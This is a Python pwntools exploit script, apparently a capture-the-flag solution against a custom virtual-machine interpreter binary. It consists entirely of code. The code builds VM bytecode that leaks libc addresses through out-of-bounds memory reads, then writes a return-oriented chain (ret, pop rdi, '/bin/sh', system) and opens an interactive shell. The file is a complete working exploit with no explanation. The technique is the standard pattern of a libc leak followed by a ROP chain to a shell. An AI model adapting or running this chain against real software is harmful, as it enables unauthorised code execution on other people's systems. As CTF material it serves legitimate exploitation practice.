1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208
| from pwn import * context.log_level='debug' context.os='linux' context.arch='amd64'
def inst(): return 1
def mem(): return 3
def reg(): return 2
def args(flag1,flag2,arg1,arg2): var=(flag1|(flag2<<2)).to_bytes(1,'little')+arg1.to_bytes(1,'little') if flag2==1: return var+p64(arg2) else: return var+arg2.to_bytes(1,'little')
def arg(flag,arg): var=flag.to_bytes(1,'little') if flag==1: return var+p64(arg) else: return var+arg.to_bytes(1,'little')
def add(arg): return b'\x01'+arg
def sub(arg): return b'\x02'+arg
def rshift(arg): return b'\x03'+arg
def lshift(arg): return b'\x04'+arg
def mov(arg): return b'\x05'+arg
def andd(arg): return b'\x06'+arg
def orr(arg): return b'\x07'+arg
def xor(arg): return b'\x08'+arg
def pop(arg): return b'\x09'+arg
def push(arg): return b'\x0a'+arg
def nop(): return b'\x0b'
p=process('./pwn') libc=ELF('./libc.so.6')
code=mov(args(reg(),inst(),0,0x27ff8)) code+=nop() code+=mov(args(reg(),mem(),1,0)) code+=nop() code+=sub(args(reg(),inst(),1,0x459a0)) code+=nop()
code+=mov(args(reg(),inst(),0,0)) code+=nop() code+=nop()
code+=mov(args(reg(),inst(),0,0x28020)) code+=nop() code+=mov(args(reg(),mem(),2,0)) code+=nop() code+=sub(args(reg(),inst(),2,0xc040)) code+=nop()
code+=mov(args(reg(),inst(),0,0)) code+=nop() code+=nop()
code+=mov(args(mem(),reg(),0,1)) code+=nop() code+=mov(args(reg(),inst(),0,8)) code+=nop() code+=mov(args(mem(),reg(),0,2)) code+=nop()
code+=mov(args(reg(),inst(),0,0x222200)) code+=nop() code+=add(args(reg(),reg(),1,0)) code+=nop() code+=sub(args(reg(),reg(),1,2)) code+=nop()
code+=mov(args(reg(),inst(),0,0)) code+=nop() code+=nop()
code+=mov(args(reg(),reg(),0,1)) code+=nop() code+=mov(args(reg(),mem(),1,0)) code+=nop() code+=sub(args(reg(),inst(),1,0x130)) code+=nop()
code+=mov(args(reg(),inst(),0,0)) code+=nop() code+=nop()
code+=mov(args(reg(),reg(),3,1)) code+=nop() code+=sub(args(reg(),reg(),3,2)) code+=nop() code+=mov(args(reg(),reg(),0,3)) code+=nop() code+=mov(args(reg(),mem(),3,0)) code+=nop() code+=sub(args(reg(),inst(),3,0x1ddd)) code+=nop() code+=add(args(reg(),inst(),3,0x4200-8)) code+=nop()
code+=mov(args(reg(),inst(),0,0)) code+=nop() code+=nop()
code+=sub(args(reg(),reg(),3,2)) code+=nop() code+=mov(args(reg(),mem(),2,0)) code+=nop() code+=mov(args(reg(),reg(),0,3)) code+=nop() code+=mov(args(mem(),reg(),0,1)) code+=nop()
code+=mov(args(reg(),inst(),3,0)) code+=nop() code+=nop()
rdi=0x2a3e5 ret=0x29139 bin_sh=next(libc.search(b'/bin/sh\x00')) system=libc.symbols['system']
code+=mov(args(reg(),reg(),1,2)) code+=nop() code+=add(args(reg(),inst(),1,ret)) code+=nop() code+=mov(args(reg(),inst(),3,0)) code+=nop() code+=mov(args(mem(),reg(),3,1)) code+=nop()
code+=mov(args(reg(),reg(),1,2)) code+=nop() code+=add(args(reg(),inst(),1,rdi)) code+=nop() code+=mov(args(reg(),inst(),3,8)) code+=nop() code+=mov(args(mem(),reg(),3,1)) code+=nop()
code+=mov(args(reg(),reg(),1,2)) code+=nop() code+=add(args(reg(),inst(),1,bin_sh)) code+=nop() code+=mov(args(reg(),inst(),3,0x10)) code+=nop() code+=mov(args(mem(),reg(),3,1)) code+=nop()
code+=mov(args(reg(),reg(),1,2)) code+=nop() code+=add(args(reg(),inst(),1,system)) code+=nop() code+=mov(args(reg(),inst(),3,0x18)) code+=nop() code+=mov(args(mem(),reg(),3,1)) code+=nop()
code+=nop() code+=nop()
p.sendafter(b'plz input your vm-code\n',code) p.interactive()
|